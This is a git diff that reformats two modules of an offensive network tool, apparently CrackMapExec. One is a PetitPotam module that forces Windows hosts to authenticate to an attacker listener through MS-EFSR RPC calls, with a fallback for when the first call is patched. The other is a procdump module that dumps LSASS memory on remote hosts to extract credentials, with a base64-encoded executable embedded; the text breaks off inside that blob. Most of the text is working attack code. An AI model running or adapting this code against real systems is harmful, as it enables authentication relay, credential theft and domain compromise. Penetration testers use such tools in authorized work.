"127.0.0.1" - if 'LISTENER' in module_options: - self.listener = module_options['LISTENER'] + if "LISTENER" in module_options: + self.listener = module_options["LISTENER"] self.pipe = "lsarpc" - if 'PIPE' in module_options: - self.pipe = module_options['PIPE'] + if "PIPE" in module_options: + self.pipe = module_options["PIPE"] def on_login(self, context, connection): dce = coerce( @@ -40,19 +47,29 @@ class CMEModule: domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, - target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + target=connection.host + if not connection.kerberos + else connection.hostname + "." + connection.domain, pipe=self.pipe, do_kerberos=connection.kerberos, dc_host=connection.kdcHost, target_ip=connection.host, - context=context + context=context, ) if efs_rpc_open_file_raw(dce, self.listener, context): context.log.highlight("VULNERABLE") context.log.highlight("Next step: https://github.com/topotam/PetitPotam") try: host = context.db.get_hosts(connection.host)[0] - context.db.add_host(host.ip, host.hostname, host.domain, host.os, host.smbv1, host.signing, petitpotam=True) + context.db.add_host( + host.ip, + host.hostname, + host.domain, + host.os, + host.smbv1, + host.signing, + petitpotam=True, + ) except Exception as e: context.log.debug(f"Error updating petitpotam status in database") @@ -61,14 +78,18 @@ class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) - def __str__( self ): + def __str__(self): key = self.error_code if key in system_errors.ERROR_MESSAGES: error_msg_short = system_errors.ERROR_MESSAGES[key][0] error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] - return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + return "EFSR SessionError: code: 0x%x - %s - %s" % ( + self.error_code, + error_msg_short, + error_msg_verbose, + ) else: - return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code + return "EFSR SessionError: unknown error code: 0x%x" % self.error_code ################################################################################ @@ -76,82 +97,73 @@ class DCERPCSessionError(DCERPCException): ################################################################################ class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT): align = 1 - structure = ( - ('Data', '20s'), - ) + structure = (("Data", "20s"),) class EFS_EXIM_PIPE(NDRSTRUCT): align = 1 - structure = ( - ('Data', ':'), - ) + structure = (("Data", ":"),) class EFS_HASH_BLOB(NDRSTRUCT): - structure = ( - ('Data', DWORD), - ('cbData', PCHAR), + ("Data", DWORD), + ("cbData", PCHAR), ) class EFS_RPC_BLOB(NDRSTRUCT): - structure = ( - ('Data', DWORD), - ('cbData', PCHAR), + ("Data", DWORD), + ("cbData", PCHAR), ) class EFS_CERTIFICATE_BLOB(NDRSTRUCT): structure = ( - ('Type', DWORD), - ('Data', DWORD), - ('cbData', PCHAR), + ("Type", DWORD), + ("Data", DWORD), + ("cbData", PCHAR), ) class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT): structure = ( - ('Lenght', DWORD), - ('SID', RPC_SID), - ('Hash', EFS_HASH_BLOB), - ('Display', LPWSTR), + ("Lenght", DWORD), + ("SID", RPC_SID), + ("Hash", EFS_HASH_BLOB), + ("Display", LPWSTR), ) class ENCRYPTION_CERTIFICATE(NDRSTRUCT): structure = ( - ('Lenght', DWORD), - ('SID', RPC_SID), - ('Hash', EFS_CERTIFICATE_BLOB), - + ("Lenght", DWORD), + ("SID", RPC_SID), + ("Hash", EFS_CERTIFICATE_BLOB), ) class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT): align = 1 structure = ( - ('Cert', DWORD), - ('Users', ENCRYPTION_CERTIFICATE_HASH), + ("Cert", DWORD), + ("Users", ENCRYPTION_CERTIFICATE_HASH), ) class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT): structure = ( - ('Type', DWORD), - ('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST), - ('Certif', ENCRYPTION_CERTIFICATE), - ('Blob', EFS_RPC_BLOB), + ("Type", DWORD), + ("HASH", ENCRYPTION_CERTIFICATE_HASH_LIST), + ("Certif", ENCRYPTION_CERTIFICATE), + ("Blob", EFS_RPC_BLOB), ) class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT): align = 1 - structure = ( - ('Data', ':'), - ) + structure = (("Data", ":"),) ################################################################################ @@ -160,57 +172,73 @@ class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT): class EfsRpcOpenFileRaw(NDRCALL): opnum = 0 structure = ( - ('fileName', WSTR), - ('Flag', ULONG), + ("fileName", WSTR), + ("Flag", ULONG), ) class EfsRpcOpenFileRawResponse(NDRCALL): structure = ( - ('hContext', EXIMPORT_CONTEXT_HANDLE), - ('ErrorCode', ULONG), + ("hContext", EXIMPORT_CONTEXT_HANDLE), + ("ErrorCode", ULONG), ) class EfsRpcEncryptFileSrv(NDRCALL): opnum = 4 - structure = ( - ('FileName', WSTR), - ) + structure = (("FileName", WSTR),) class EfsRpcEncryptFileSrvResponse(NDRCALL): - structure = ( - ('ErrorCode', ULONG), - ) + structure = (("ErrorCode", ULONG),) -def coerce(username, password, domain, lmhash, nthash, target, pipe, do_kerberos, dc_host, target_ip=None, context=None): +def coerce( + username, + password, + domain, + lmhash, + nthash, + target, + pipe, + do_kerberos, + dc_host, + target_ip=None, + context=None, +): binding_params = { - 'lsarpc': { - 'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target, - 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') + "lsarpc": { + "stringBinding": r"ncacn_np:%s[\PIPE\lsarpc]" % target, + "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, - 'efsr': { - 'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target, - 'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0') + "efsr": { + "stringBinding": r"ncacn_np:%s[\PIPE\efsrpc]" % target, + "MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"), }, - 'samr': { - 'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target, - 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') + "samr": { + "stringBinding": r"ncacn_np:%s[\PIPE\samr]" % target, + "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, - 'lsass': { - 'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target, - 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') + "lsass": { + "stringBinding": r"ncacn_np:%s[\PIPE\lsass]" % target, + "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, - 'netlogon': { - 'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target, - 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') + "netlogon": { + "stringBinding": r"ncacn_np:%s[\PIPE\netlogon]" % target, + "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, } - rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding']) - if hasattr(rpc_transport, 'set_credentials'): - rpc_transport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash) + rpc_transport = transport.DCERPCTransportFactory( + binding_params[pipe]["stringBinding"] + ) + if hasattr(rpc_transport, "set_credentials"): + rpc_transport.set_credentials( + username=username, + password=password, + domain=domain, + lmhash=lmhash, + nthash=nthash, + ) if target_ip: rpc_transport.setRemoteHost(target_ip) @@ -223,16 +251,16 @@ def coerce(username, password, domain, lmhash, nthash, target, pipe, do_kerberos rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host) dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - context.log.info("[-] Connecting to %s" % binding_params[pipe]['stringBinding']) + context.log.info("[-] Connecting to %s" % binding_params[pipe]["stringBinding"]) try: dce.connect() except Exception as e: context.log.debug("Something went wrong, check error status => %s" % str(e)) sys.exit() context.log.info("[+] Connected!") - context.log.info("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0]) + context.log.info("[+] Binding to %s" % binding_params[pipe]["MSRPC_UUID_EFSR"][0]) try: - dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR'])) + dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"])) except Exception as e: context.log.debug("Something went wrong, check error status => %s" % str(e)) sys.exit() @@ -243,29 +271,33 @@ def coerce(username, password, domain, lmhash, nthash, target, pipe, do_kerberos def efs_rpc_open_file_raw(dce, listener, context=None): try: request = EfsRpcOpenFileRaw() - request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener - request['Flag'] = 0 + request["fileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener + request["Flag"] = 0 resp = dce.request(request) except Exception as e: - if str(e).find('ERROR_BAD_NETPATH') >= 0: - context.log.info('[+] Got expected ERROR_BAD_NETPATH exception!!') - context.log.info('[+] Attack worked!') + if str(e).find("ERROR_BAD_NETPATH") >= 0: + context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!") + context.log.info("[+] Attack worked!") return True - if str(e).find('rpc_s_access_denied') >= 0: - context.log.info('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!') - context.log.info('[+] OK! Using unpatched function!') + if str(e).find("rpc_s_access_denied") >= 0: + context.log.info( + "[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!" + ) + context.log.info("[+] OK! Using unpatched function!") context.log.info("[-] Sending EfsRpcEncryptFileSrv!") try: request = EfsRpcEncryptFileSrv() - request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener + request["FileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener resp = dce.request(request) except Exception as e: - if str(e).find('ERROR_BAD_NETPATH') >= 0: - context.log.info('[+] Got expected ERROR_BAD_NETPATH exception!!') - context.log.info('[+] Attack worked!') + if str(e).find("ERROR_BAD_NETPATH") >= 0: + context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!") + context.log.info("[+] Attack worked!") return True else: - context.log.debug("Something went wrong, check error status => %s" % str(e)) + context.log.debug( + "Something went wrong, check error status => %s" % str(e) + ) else: context.log.debug("Something went wrong, check error status => %s" % str(e)) diff --git a/cme/modules/procdump.py b/cme/modules/procdump.py index 3a9edd03..30debbc7 100644 --- a/cme/modules/procdump.py +++ b/cme/modules/procdump.py @@ -11,106 +11,138 @@ from pypykatz.pypykatz import pypykatz class CMEModule: - - name = 'procdump' + name = "procdump" description = "Get lsass dump using procdump64 and parse the result with pypykatz" - supported_protocols = ['smb'] - opsec_safe = True # not really + supported_protocols = ["smb"] + opsec_safe = True # not really multiple_hosts = True def options(self, context, module_options): """ - TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\) - PROCDUMP_PATH Path where procdump.exe is on your system (default: /tmp/), if changed embeded version will not be used - PROCDUMP_EXE_NAME Name of the procdump executable (default: procdump.exe), if changed embeded version will not be used - DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = PROCDUMP_PATH) + TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\) + PROCDUMP_PATH Path where procdump.exe is on your system (default: /tmp/), if changed embeded version will not be used + PROCDUMP_EXE_NAME Name of the procdump executable (default: procdump.exe), if changed embeded version will not be used + DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = PROCDUMP_PATH) """ self.tmp_dir = "C:\\Windows\\Temp\\" self.share = "C$" self.tmp_share = self.tmp_dir.split(":")[1] - self.procdump_embeded = base64.b64decode("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